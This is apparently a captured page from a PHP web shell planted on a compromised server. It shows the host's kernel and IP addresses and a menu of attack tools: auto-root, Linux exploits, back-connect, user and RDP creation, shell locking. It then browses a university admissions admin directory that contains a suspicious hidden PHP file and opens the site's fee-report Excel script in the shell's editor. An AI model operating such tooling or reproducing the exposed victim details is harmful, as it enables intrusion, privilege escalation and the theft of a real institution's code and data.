Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.189.182.15
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
phdadm /
admin-src /
[ HOME SHELL ]
Name
Size
Permission
Action
.admin-src.php
3.61
KB
-rw-r--r--
AdmissionListReportExcel.php
13.85
KB
-rwxrwxrwx
ApplicationFeeSumExcel1.php
7.43
KB
-rwxrwxrwx
ApplicationFeeSummary.php
10.14
KB
-rwxrwxrwx
ApplicationFeeSummaryExcel.php
2.93
KB
-rwxrwxrwx
ApplicationReport.php
10.32
KB
-rwxrwxrwx
ApplicationReport_acu.php
4
KB
-rw-rw-r--
ApplicationReport_acu_pdf.php
23.25
KB
-rw-rw-r--
Applicationfeereport.php
8.72
KB
-rwxrwxrwx
Collegewise_SeatAllotedList.ph...
11.13
KB
-rwxrwxrwx
Degreewise_Adm_Fee_Collected.p...
7.66
KB
-rwxrwxrwx
Degreewise_SeatAllotedList.php
12.07
KB
-rwxrwxrwx
Degreewise_SeatAllotedList_all...
11.18
KB
-rwxrwxrwx
Degreewise_SeatAllotedList_cre...
19.46
KB
-rwxrwxrwx
Degreewise_SeatAllotedList_cre...
17.58
KB
-rwxrwxrwx
Degreewise_SeatAllotedList_cre...
17.83
KB
-rwxrwxrwx
Degreewise_SeatAllotedList_fin...
17.09
KB
-rwxrwxrwx
PrintDocumentVerification.php
28.13
KB
-rwxrwxrwx
SeatMatrixReport.php
24.02
KB
-rwxrwxrwx
admList.php
1.11
KB
-rwxrwxrwx
admconfirmation.php
4.43
KB
-rwxrwxrwx
admissionFeeSummaryReportExcel...
9.64
KB
-rwxrwxrwx
admissionfeedetails.php
1.57
KB
-rwxrwxrwx
admissionfeereport.php
11.59
KB
-rwxrwxrwx
admissionstatusreport.php
12.62
KB
-rwxrwxrwx
admorder_ru.php
4.4
KB
-rwxrwxrwx
applicationFormReportBank.php
11.91
KB
-rwxrwxrwx
applicationview.php
4.11
KB
-rwxrwxrwx
applicationview_acu.php
2.22
KB
-rw-rw-r--
changepasswordadmin.php
1.12
KB
-rwxrwxrwx
collegedegree.php
1.92
KB
-rwxrwxrwx
collegedetails.php
2.49
KB
-rwxrwxrwx
create-user.php
4.66
KB
-rwxrwxrwx
documentverification.php
15.69
KB
-rwxrwxrwx
dudseatallot.php
6.06
KB
-rwxrwxrwx
getnumword.php
9.1
KB
-rwxrwxrwx
loadadmhostelfeedetails.php
2.09
KB
-rwxrwxrwx
loadhostelfeedetails.php
4.52
KB
-rwxrwxrwx
presealallot.php
7.58
KB
-rwxrwxrwx
provisionsellist.php
1.58
KB
-rwxrwxrwx
provisionsellistReport.php
13.78
KB
-rwxrwxrwx
provisionsellistReportDownload...
14.94
KB
-rwxrwxrwx
report_merit_list.php
6.82
KB
-rwxrwxrwx
rostertable.php
490
B
-rwxrwxrwx
saveApplication.php
19.13
KB
-rwxrwxrwx
savevacantseats.php
2.57
KB
-rwxrwxrwx
seat_alloted_seatmatrix.php
11.34
KB
-rwxrwxrwx
seatmatrix.php
8.57
KB
-rwxrwxrwx
signin.php
846
B
-rwxrwxrwx
viewpresealallot2.php
8.17
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admissionFeeSummaryReportExcel.php
<?php ini_set('max_execution_time', 60); $main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7); error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE); date_default_timezone_set('GMT+5:30'); // PHPExcel_Shared_Font::setAutoSizeMethod(PHPExcel_Shared_Font::AUTOSIZE_METHOD_EXACT); if (PHP_SAPI == 'cli') die('This example should only be run from a Web Browser'); /** Include PHPExcel */ $pdf_writer_class = $main_src . '/PHPExcel/Classes/PHPExcel.php'; require_once($pdf_writer_class); function getheaders($objPHPExcel, $fileName) { //To Fit To Page while printing $objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1); $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1); $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0); $objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true); $objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false); ob_end_clean(); // ob_start(); // Redirect output to a client’s web browser (Excel5) header('Content-Type: application/vnd.ms-excel'); header('Content-Disposition: attachment;filename="' . $fileName . '.xls"'); header('Cache-Control: max-age=0'); // If you're serving to IE 9, then the following may be needed header('Cache-Control: max-age=1'); // If you're serving to IE over SSL, then the following may be needed header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified header('Cache-Control: cache, must-revalidate'); // HTTP/1.1 header('Pragma: public'); // HTTP/1.0 ob_end_clean(); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5'); $objWriter->save('php://output'); } function reportAdmFeeSummary($result, $aobj_context) { $objPHPExcel = new PHPExcel(); $fileName = 'AdmissionFeeSummary'; $objPHPExcel->getProperties()->setCreator("Me") ->setLastModifiedBy("Me")->setTitle("My Excel Sheet") ->setSubject("My Excel Sheet")->setDescription("Excel Sheet") ->setKeywords("Excel Sheet")->setCategory("Me"); // $objPHPExcel->setOutputEncoding('UTF-8'); // Set active sheet index to the first sheet, so Excel opens this as the first sheet $objPHPExcel->setActiveSheetIndex(0); $objPHPExcel->getActiveSheet()->setTitle($fileName); $objPHPExcel->getActiveSheet()->getPageSetup() ->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE); $get_coll_name = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE, FUNIVADD1 as 'state', pdf_logo_path, ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control"; $lobj_get_coll_name = $aobj_context->mobj_db->GetRow($get_coll_name); $objPHPExcel->getActiveSheet()->getHeaderFooter() ->setOddHeader('&C&H&"-,Bold"&16' . $aobj_context->FUNIVNAME); $objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&RPage &P of &N'); // Add column headers and make them bold $styleArray = array( 'borders' => array( 'allborders' => array( 'style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => '000000'), ), ), ); $alpha = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'AA', 'AB', 'AC', 'AD', 'AF', 'AE', 'AF', 'AG', 'AH' ]; $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setBold(true); $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setSize(12); $objPHPExcel->getActiveSheet()->freezePane('A1'); $objPHPExcel->getActiveSheet()->setCellValue('A1', 'Sl. No.'); $objPHPExcel->getActiveSheet()->setCellValue('B1', 'Degree Code'); $objPHPExcel->getActiveSheet()->setCellValue('C1', 'Degree Name'); $objPHPExcel->getActiveSheet()->setCellValue('D1', 'College Code'); $objPHPExcel->getActiveSheet()->setCellValue('E1', 'College Name'); $objPHPExcel->getActiveSheet()->setCellValue('F1', 'App. Count'); $objPHPExcel->getActiveSheet()->setCellValue('G1', 'Adm. Fee'); $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->applyFromArray($styleArray); // $objPHPExcel->getActiveSheet()->getColumnDimension('G1')->setAutoSize(true); $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(40); $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment()->setWrapText(true); $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment() ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment() ->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER); $j = 2; $slNo = 1; $sum = array(); $totamt=0; $totapp=0; // setlocale(LC_ALL, 'hi_IN'); foreach ($result as $key => $value) { $objPHPExcel->getActiveSheet()->setCellValue('A' . $j, $slNo) ->getColumnDimension('A')->setwidth(5); $objPHPExcel->getActiveSheet()->setCellValue('B' . $j, $value['fdegree']) ->getColumnDimension('B')->setwidth(10.43); $objPHPExcel->getActiveSheet()->setCellValue('C' . $j, $value['fdescpn']) ->getColumnDimension('C')->setwidth(50); $objPHPExcel->getActiveSheet()->setCellValue('D' . $j, $value['fcollcode']) ->getColumnDimension('D')->setwidth(12); $objPHPExcel->getActiveSheet()->setCellValue('E' . $j, $value['fshortname']) ->getColumnDimension('E')->setwidth(35); $objPHPExcel->getActiveSheet()->setCellValue('F' . $j, $value['fcnt']) ->getColumnDimension('F')->setwidth(12); $objPHPExcel->getActiveSheet()->setCellValue('G' . $j, moneyFormatIndia($value['fee'])) ->getColumnDimension('G')->setwidth(12); $objPHPExcel->getActiveSheet()->getRowDimension($j)->setRowHeight(30); $j++;$slNo++; $totamt += $value['fee']; $totapp += $value['fcnt']; } // var_dump($totamt);die(); $objPHPExcel->getActiveSheet()->getStyle('A2' . ':G' . $j)->applyFromArray($styleArray); $objPHPExcel->getActiveSheet()->getStyle('A2'.':G' . $j)->getAlignment() ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('A2'.':G' . $j)->getAlignment() ->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('C2'.':C' . $j)->getAlignment() ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT); $objPHPExcel->getActiveSheet()->getStyle('E2'.':E' . $j)->getAlignment() ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT); $objPHPExcel->getActiveSheet()->getStyle('A3' . ':G' . $j)->getAlignment() ->setVertical(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // $objPHPExcel->getActiveSheet()->getStyle('A1:G1')->getAlignment() // ->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER); $objPHPExcel->getActiveSheet()->getRowDimension($j)->setRowHeight(30); $objPHPExcel->getActiveSheet()->getStyle('A3' . ':G' . $j)->getAlignment() ->setWrapText(true); $objPHPExcel->getActiveSheet()->setCellValue('G'.$j, moneyFormatIndia($totamt)); $objPHPExcel->getActiveSheet()->setCellValue('F'.$j, moneyFormatIndia($totapp)); $objPHPExcel->getActiveSheet()->getStyle('A'.$j.':G'.$j)->getFont()->setBold(true); $objPHPExcel->getActiveSheet()->getStyle('A'.$j.':G'.$j)->getFont()->setSize(12); $objPHPExcel->getActiveSheet()->mergeCells('A'.$j.':E'.$j)->setCellValue('A'.$j, 'Total'); // $objPHPExcel->getActiveSheet()->getStyle('G2:G'.$j)->getNumberFormat()->setFormatCode("#,##0"); // $objPHPExcel->getActiveSheet()->getStyle('F'.$j)->getNumberFormat()->setFormatCode("#,##0"); getheaders($objPHPExcel, $fileName); } function getAdmissionFeeSummary($aobj_context) { $fdept = $aobj_context->mobj_data["fdept"]; $dtfrom = $aobj_context->mobj_data["dtfrom"]; $dtto = $aobj_context->mobj_data["dtto"]; $query = "SELECT a.fcollcode, c.fshortname, d.fdegree, d.fdescpn, COUNT(a.fappno) AS fcnt, SUM(a.fadmfee) AS fee FROM entseatallot a, entcoll c, entdeg d, entcolldeg x WHERE a.fdegree = d.fdegree AND a.fcollcode = c.fcollcode AND c.fcollcode = x.fcollcode AND d.fdegree = x.fdegree AND a.fpaymentstatus = 'success' AND IFNULL(a.fcancel,'') <> 'T' GROUP BY a.fcollcode, d.fdegree ORDER BY a.fcollcode, d.forder"; $result = $aobj_context->mobj_db->GetAll($query); reportAdmFeeSummary($result, $aobj_context); } function moneyFormatIndia($num) { $explrestunits = ""; if (strlen($num) > 3) { $lastthree = substr($num, strlen($num) - 3, strlen($num)); $restunits = substr($num, 0, strlen($num) - 3); // extracts the last three digits $restunits = (strlen($restunits) % 2 == 1) ? "0" . $restunits : $restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping. $expunit = str_split($restunits, 2); for ($i = 0; $i < sizeof($expunit); $i++) { // creates each of the 2's group and adds a comma to the end if ($i == 0) { $explrestunits .= (int) $expunit[$i] . ","; // if is first value , convert into integer } else { $explrestunits .= $expunit[$i] . ","; } } $thecash = $explrestunits . $lastthree; } else { $thecash = $num; } return $thecash; // writes the final format where $currency is the currency symbol. }
Close